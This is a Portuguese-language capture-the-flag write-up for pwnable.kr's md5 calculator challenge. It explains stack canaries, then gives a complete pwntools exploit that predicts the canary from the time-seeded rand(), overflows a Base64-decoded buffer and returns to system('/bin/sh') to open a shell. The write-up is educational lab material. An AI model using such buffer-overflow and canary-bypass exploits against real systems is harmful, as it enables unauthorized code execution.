Neste artigo, resolveremos a 23ª tarefa do site
pwnable.kr , descobriremos o que é stack canary e conectaremos a libc em python.
Informações OrganizacionaisEspecialmente para aqueles que desejam aprender algo novo e se desenvolver em qualquer uma das áreas de segurança da informação e da informática, escreverei e falarei sobre as seguintes categorias:
- PWN;
- criptografia (criptografia);
- tecnologias de rede (rede);
- reverso (engenharia reversa);
- esteganografia (estegano);
- pesquisa e exploração de vulnerabilidades na WEB.
Além disso, compartilharei minha experiência em análise forense de computadores, análise de malware e firmware, ataques a redes sem fio e redes locais, realização de protestos e explorações por escrito.
Para que você possa descobrir sobre novos artigos, software e outras informações, criei um
canal no Telegram e um
grupo para discutir quaisquer questões no campo da CID. Além disso, considerarei pessoalmente seus pedidos, perguntas, sugestões e recomendações
pessoais e responderei a todos .
Todas as informações são fornecidas apenas para fins educacionais. O autor deste documento não se responsabiliza por nenhum dano causado a alguém como resultado do uso dos conhecimentos e métodos obtidos como resultado do estudo deste documento.
Canário de pilha
Canaries são valores conhecidos que são colocados entre o buffer e os dados de controle na pilha para monitorar os estouros do buffer. Após um estouro de buffer, os primeiros dados a serem corrompidos geralmente são um canário. Assim, o valor do canário será verificado e, se a verificação falhar, sinalizará um estouro de buffer. Existem três tipos de canários:
- Terminator. Canários são construídos a partir de terminadores nulos, CR, LF e -1. Como resultado, o atacante deve escrever um caractere nulo antes de escrever o endereço de retorno para evitar alterar o canário. Isso evita ataques usando strcpy () e outros métodos que retornam ao copiar um caractere nulo, enquanto o resultado notório é a fama do canário.
- Random Gerado aleatoriamente. Geralmente, um canário aleatório é gerado durante a inicialização do programa e armazenado em uma variável global. Essa variável geralmente é complementada com páginas não mapeadas, portanto, tentar lê-la usando truques que usem erros para ler da RAM causa um erro de segmentação para encerrar o programa.
- XOR aleatório. Canários aleatórios que brigam com dados de controle. Assim, assim que os dados do canário ou de controle estiverem obstruídos, o valor do canário estará incorreto. Eles têm as mesmas vulnerabilidades que os canários aleatórios, exceto que o método "ler da pilha" para obter canários é um pouco mais complicado. O atacante deve receber o canário, o algoritmo e os dados de controle para regenerar o canário original necessário para falsificar a proteção.
Solução do trabalho da calculadora md5
Continuamos a segunda seção. Eu direi imediatamente que é mais difícil que o primeiro e não nos é fornecido o código fonte dos aplicativos. Não se esqueça da discussão
aqui . Vamos começar.
Clique no ícone com a calculadora md5 exclusiva. Nos é dado o endereço e a porta para conexão e o próprio programa.

Baixe tudo o que eles nos dão, verifique o binário.

Este é um elfo de 32 bits com canário instalado e pilha não executável. Nós descompilamos no IDA Pro.

O programa possui uma verificação de captcha embutida. Vemos duas funções que são interessantes: my_hash () e process_hash (). Vamos começar com o primeiro.

Vamos redefinir os tipos de variáveis e facilitar a análise do código:

Assim, a função retornará algum número aleatório. Ao mesmo tempo, v3 são dados no endereço EBP-0xC. Vamos dar uma olhada em outra função.

Aqui, a variável v4 obtém o valor no endereço EBP-0xC e briga na saída da função com esse valor. Em seguida, 512 bytes são alocados para a variável v3, a entrada do teclado é lida na variável g_buf. Depois disso, a cadeia de caracteres de g_buf é decodificada em Base64 e gravada na v3. A partir da v3, o hash MD5 é calculado. Portanto, a entrada para o g_buf e a cópia para a v3 não são limitadas, portanto, há um estouro de buffer! Vamos dar uma olhada na pilha.

A variável v3 é o canário de pilha localizado após o buffer. O programa também chama a função de sistemas. Bem, criaremos um modelo para uma exploração.
from pwn import * p = remote('127.0.0.1', 9002) p.recvuntil('captcha : ') captcha = int(p.recv()) p.sendline(str(captcha)) p.interactive()
Para começar, vejamos a carga útil. Devemos chamar a função do sistema com o parâmetro "/ bin / sh". Mas como a pilha não é executável, chamaremos a função system, passando o controle para o endereço no programa e, como parâmetro, o endereço para a linha “/ bin / sh”, que escreveremos no g_buf.
Assim (observe a pilha): você precisa escrever 512 bytes de lixo, depois 4 bytes do valor canary e outros 12 bytes de lixo. Agora, para ret, precisamos especificar o endereço da função do sistema (4 bytes), o endereço da string "/ bin / sh" (4 bytes) e a própria string "/ bin / sh".
Agora encontre o desconhecido: o endereço de chamada do sistema.

Este é 0x8049187. E o endereço da string é "bin / sh". Para fazer isso, precisamos adicionar o número de bytes ao endereço g_buf na linha "/ bin / sh", levando em consideração a codificação base64 - este é 4/3 do valor original.

Ou seja, o endereço da linha: 0x804b0e0 + (512 + 4 + 12 + 4 + 4 + 1) * 4/3 = 0x804b3ac. Compõe a carga útil.
payload = 'A' * 512 payload += p32(canary) payload += 'A' * 12 payload += p32(0x8049187) payload += p32(0x804b3ac) payload = b64e(payload) payload += "/bin/sh\x00"
Resta encontrar o canário. Como descobrimos, ele resume valores aleatórios na função my_hash (), que, como resultado, nos dá um canário. E srand (time (0)) é usado como a semente da função rand. Ou seja, se repetirmos o procedimento em nossa exploração e subtrairmos o valor gerado do cookie enviado, encontraremos o canário. Chame rand () da libc em python.
from ctypes import * import os import time libc=CDLL('libc.so.6') t = int(time.time()) libc.srand(t) n = [libc.rand() for _ in range(8)] canary = captcha - n[1] - n[5] - n[2] + n[3] - n[7] - n[4] + n[6] canary &= 0xffffffff
Só isso. O código completo se parece com isso.
from pwn import * from ctypes import * import os import time libc=CDLL('libc.so.6') t = int(time.time()) libc.srand(t) n = [libc.rand() for _ in range(8)] p = remote('127.0.0.1', 9002) p.recvuntil('captcha : ') captcha = int(p.recv()) p.sendline(str(captcha)) canary = captcha - n[1] - n[5] - n[2] + n[3] - n[7] - n[4] + n[6] canary &= 0xffffffff payload = 'A' * 512 payload += p32(canary) payload += 'A' * 12 payload += p32(0x8049187) payload += p32(0x804b3ac) payload = b64e(payload) payload += "/bin/sh\x00" p.sendline(payload) p.interactive()
Eu o executei várias vezes e não funcionou, então percebi que, devido à velocidade da Internet e à diferença de horário, o resultado de rand () não corresponde. Lançado no servidor.

Nós obtemos a bandeira desejada. Você pode se juntar a nós no
Telegram .